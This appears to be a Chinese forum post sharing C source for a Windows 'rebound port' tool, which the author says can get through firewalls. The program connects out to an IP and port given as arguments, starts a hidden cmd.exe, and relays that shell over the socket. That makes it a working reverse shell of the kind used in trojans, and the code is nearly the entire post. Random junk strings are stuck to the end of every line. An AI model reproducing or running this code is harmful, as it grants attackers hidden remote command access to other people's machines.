这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q=6Cc9FN
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/* ============================== 7/H^<%;y
Rebound port in Windows NT fJN*s
By wind,2006/7 1,"I=
===============================*/ ~+O `9&
#include m'cz5mcD
#include E X%6''ys
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#pragma comment(lib,"wsock32.lib") 3CR@'
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void OutputShell(); 4_PCqEp)
SOCKET sClient; (O\U /daB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \ Md
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void main(int argc,char **argv) .sM<6;
{ %#~((m1
WSADATA stWsaData; n*4lz^LR
int nRet; oZTgN .q
SOCKADDR_IN stSaiClient,stSaiServer; 4k8*E5cx
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if(argc != 3) P$Z}
{ .L9']zXc`
printf("Useage:\n\rRebound DestIP DestPort\n"); I2f?xJ2/Z
return; ~xGoJrF\
} 1T ( u
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]@v}y&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NS`07 #z^
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stSaiClient.sin_family = AF_INET; Btj#EoSI_
stSaiClient.sin_port = htons(0); [SVhtrx|%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )4l>XlQ&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TG}d3ZU
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{ M!1U@6n!=)
printf("Bind Socket Failed!\n"); j'K38@M:MN
return; F{<5aLaYti
} !p9)CjQ "
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stSaiServer.sin_family = AF_INET; kv6Cp0uFg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5?WYsj"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *G9sy_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7A5p["?Z
{ U-i.(UyZ
printf("Connect Error!"); QK)){cK
return; JB3 "EFv
} !8sgq{x((
OutputShell(); 4({(i
} C{EAmv'
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void OutputShell() r-}-C!
{ 0}{'C5
char szBuff[1024]; vw2`:]Q+
SECURITY_ATTRIBUTES stSecurityAttributes; {_?rh,9q
OSVERSIONINFO stOsversionInfo; S,)d(g3>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x2co>.i
STARTUPINFO stStartupInfo; 7BR8/4gcPu
char *szShell; cHx%Nd\
PROCESS_INFORMATION stProcessInformation; OS-sk!
unsigned long lBytesRead; ^W~p..DF
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -KH)J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k.<3HU
stSecurityAttributes.lpSecurityDescriptor = 0; ?38lHn`FyQ
stSecurityAttributes.bInheritHandle = TRUE; X'f.Q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); glj7$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O*[{z)M.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `s|]"'rX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L*h{'<Bz
stStartupInfo.wShowWindow = SW_HIDE; [}OgSP9i
stStartupInfo.hStdInput = hReadPipe; :_ROJ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %f j+70
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GetVersionEx(&stOsversionInfo); G?AG:%H %
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switch(stOsversionInfo.dwPlatformId) .Obn&S
{ 9i5tVOhE
case 1: K{@3\5<
szShell = "command.com"; N|mJg[j@7
break; Xd<t5{bD!
default: "9IYB)Js
szShell = "cmd.exe"; (-0ePSOG
break; ZrO!L_/
} 6sJw@OaJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0V$k7H$Z
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send(sClient,szMsg,77,0); ?WUF!Jk
while(1) DZ$`
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{ W#'c5:m
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VA] e
if(lBytesRead) lx |5?P
{ ,E;;wdIt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )? =YT
send(sClient,szBuff,lBytesRead,0); ,HB2hHD
}
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else b>\?yL/%+?
{ >(r{7Qg
lBytesRead=recv(sClient,szBuff,1024,0); sa1h%<
if(lBytesRead<=0) break; FOwnxYGVf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6Wj^*L!
} &Lm-()wb
} 7y^%7U \
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return; lDc-W =X=
}